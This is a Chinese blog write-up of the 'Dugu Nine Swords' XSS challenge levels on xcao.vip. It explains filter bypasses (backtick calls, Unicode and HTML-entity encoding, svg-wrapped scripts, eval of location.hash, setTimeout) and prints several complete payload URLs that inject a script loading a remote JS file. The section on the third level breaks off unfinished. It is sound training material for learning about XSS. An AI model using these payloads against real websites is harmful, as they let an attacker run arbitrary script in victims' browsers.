题目地址

xcao.vip/test

题目作者给出的解题思路

http://xcao.vip/test/xss/XSS修炼之独孤九剑.pdf

独孤九剑-第一式

题目

在这里插入图片描述

过滤了等号 =、小括号 (),要求加载任意 JS 代码。成功加载 http://xcao.vip/xss/alert.js 表示完成挑战

方法一

首先应该思考,在 JavaScript 中,加载 JS 代码,有哪些方式?

首先想到了

<script src="http://xcao.vip/xss/alert.js"></script>

这是最基本的加载方式。

此时我们需要在页面中加载这个 JS 代码,应该想到使用 document.write(),将上面的代码写入 HTML 页面,从而执行 JS 代码。

那么如果要使用这个方法,还得在外面再使用一个 <script> 标签。即:

<script>document.write(<script src="http://xcao.vip/xss/alert.js"></script>)</script>

然后再回到题目中来。

查看 HTML 代码:

<html>
	<head>
		<meta charset="utf-8">
		<title>独孤九剑-第一式  Design by 香草</title>
	</head>
	<body>
		<h2>过滤了 =(),少侠骨骼惊奇,必是练武奇才</h2>
		<h2>要求加载任意JS代码,成功加载http://xcao.vip/xss/alert.js 表示完成挑战</h2>
	<input type="text" value="s">
	</body>
</html>

题目只有一个输入框,并且无法通过输入框提交内容。而同时我们注意到地址栏里有通过 GET 方式提交的参数:
在这里插入图片描述
尝试修改参数,成功修改了输入框中的内容:
在这里插入图片描述
那么 XSS 攻击的点就在这里。

根据页面的源代码,自己构造的 XSS 攻击代码,首先应当将原本的 <input> 标签闭合,即在 123123 后面跟上 ">
在这里插入图片描述
从源代码中可以看到,自己输入的 "> 成功将标签闭合,原本存在的 "> 被孤立了出来:
在这里插入图片描述
此时我们就可以在后面跟上我们自己的 JS 代码进行 XSS 攻击了:

"><script>document.write(<script src="http://xcao.vip/xss/alert.js"></script>)</script>

但是别忘了题目的过滤条件,在这里等号 = 和小括号 () 不起作用。

接下来应当思考怎么绕过。

通过查找资料我们得知,可以用反引号代替小括号实现绕过。要绕过等号 = 的过滤,可以document.write() 中的内容进行 Unicode 编码,即:

"><script>document.write`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`</script>

提交内容,成功绕过:
在这里插入图片描述
完整 Payload:

http://xcao.vip/test/xss1.php?data=123123"><script>document.write`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`</script>

方法二

题目作者给出的一种方法:

http://xcao.vip/test/xss1.php?data=%22%3E%3Csvg%3E%3Cscript%3E%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6c%3B%26%23x28%3B%26%23x6c%3B%26%23x6f%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6f%3B%26%23x6e%3B%26%23x2e%3B%26%23x68%3B%26%23x61%3B%26%23x73%3B%26%23x68%3B%26%23x2e%3B%26%23x73%3B%26%23x6c%3B%26%23x69%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x29%3B%3C/script%3E%3C/svg%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'

我们来分析这里用了些什么方法。

首先,原作者提到,自己使用了 <svg> 标签,是因为在 <svg> 标签中的 <script> 标签可以使用 HTML 编码,从而避开题目的过滤。

解码后的内容为:

http://xcao.vip/test/xss1.php?data="><svg><script>eval(location.hash.slice(1))</script></svg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'

我们再将 HTML 编码进行解码,可得:

http://xcao.vip/test/xss1.php?data="><svg><script>eval(location.hash.slice(1))</script></svg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'

完整的构造这时才得以清晰展现在我们眼前。

首先是 eval() 函数,eval() 函数计算 JavaScript 字符串,并把它作为脚本代码来执行。

如果参数是一个表达式,eval() 函数将执行表达式。如果参数是 JavaScript 语句,eval()执行 JavaScript 语句

接下来是 location.hash.slice(1)hashlocation 对象中的一个属性,是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)

slice(start, end) 方法可提取字符串的某个部分,并以新的字符串返回被提取的部分

start 参数字符串中第一个字符位置为 0,第二个字符位置为 1,以此类推。

因此,综上可得,location.hash.slice(1) 的含义就是获取 # 号之后的内容,即:

with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'

这里的 with 用法其实也可以替换成

document.body.appendChild(document.createElement('script')).src='http://xcao.vip/test/alert.js'

接下来进一步分析代码。

appendChild() 方法可向节点的子节点列表的末尾添加新的子节点。也就是说,从 DOM 树的角度,这个方法向 body 节点的子节点列表的最后添加了一个 script 节点,相当于直接添加了一个 <script> 标签

这样一切都解释得通了。妙哉!

独孤九剑-第二式

题目

在这里插入图片描述

在第一式的基础之上,增加了对点 . 的过滤

方法一

在这种情况下,document.write 这样的用法肯定就不起作用了,得想想怎么绕过对点 . 的过滤。

通过查找资料我们可以得知,JavaScript 的对象的属性的读取可以通过类似数组的方式来进行,比如对象 documentwrite 方法就可以写成 document['write']

这样就成功绕过了题目对点 . 的过滤。

基于第一式方法一,我们直接将 document.write 写成 document['write'],其他照旧,则有了:

http://xcao.vip/test/xss1.php?data=123123"><script>document['write']`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`</script>

成功加载:
在这里插入图片描述

方法二

同第一式方法二一样,由于本身构造的 # 锚点并不会作为参数被传入后台,并且经过 URL 解码后的 HTML 编码也不含有被过滤的点 .,因此第一式方法二的构造语句可以原封不动地拿来使用。即:

http://xcao.vip/test/xss2.php?data=%22%3E%3Csvg%3E%3Cscript%3E%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6c%3B%26%23x28%3B%26%23x6c%3B%26%23x6f%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6f%3B%26%23x6e%3B%26%23x2e%3B%26%23x68%3B%26%23x61%3B%26%23x73%3B%26%23x68%3B%26%23x2e%3B%26%23x73%3B%26%23x6c%3B%26%23x69%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x29%3B%3C/script%3E%3C/svg%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'

成功加载:
在这里插入图片描述

方法三

题目作者给出的一种方法:

http://xcao.vip/test/xss2.php?data=xxx%22%3E%3Cscript%3EsetTimeout`\u0065\u0076\u0061\u006c\u0028\u006c\u006f\u0063\u0061\u0074\u0069\u006f\u006e\u002e\u0068\u0061\u0073\u0068\u002e\u0073\u006c\u0069\u0063\u0065\u0028\u0031\u0029\u0029`;%3C/script%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

作者称,这样是通过 setTimeout 以及用反引号代替 (), 同时采用 Unicode 编码绕过对 (). 的限制。

在这串代码中,setTimeout() 是属于 window 的方法,该方法用于在指定的毫秒数后调用函数或计算表达式

这里缺省了时间的参数,相当于不需要等待,直接执行。

中间的 Unicode 编码的内容还是之前的 eval(location.hash.slice(1)),总体上思路和第一式方法二差不多。

独孤九剑-第三式

题目

在这里插入图片描述

放开了 = 的过滤,新增了 &#\ 的过滤

方法一

新增了 &#\ 的过滤,这明显就是冲着 HTML 编码和 Unicode 编码来的。

恶意不小啊

版权声明:本文为--kisaragi--原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/--kisaragi--/p/15228152.html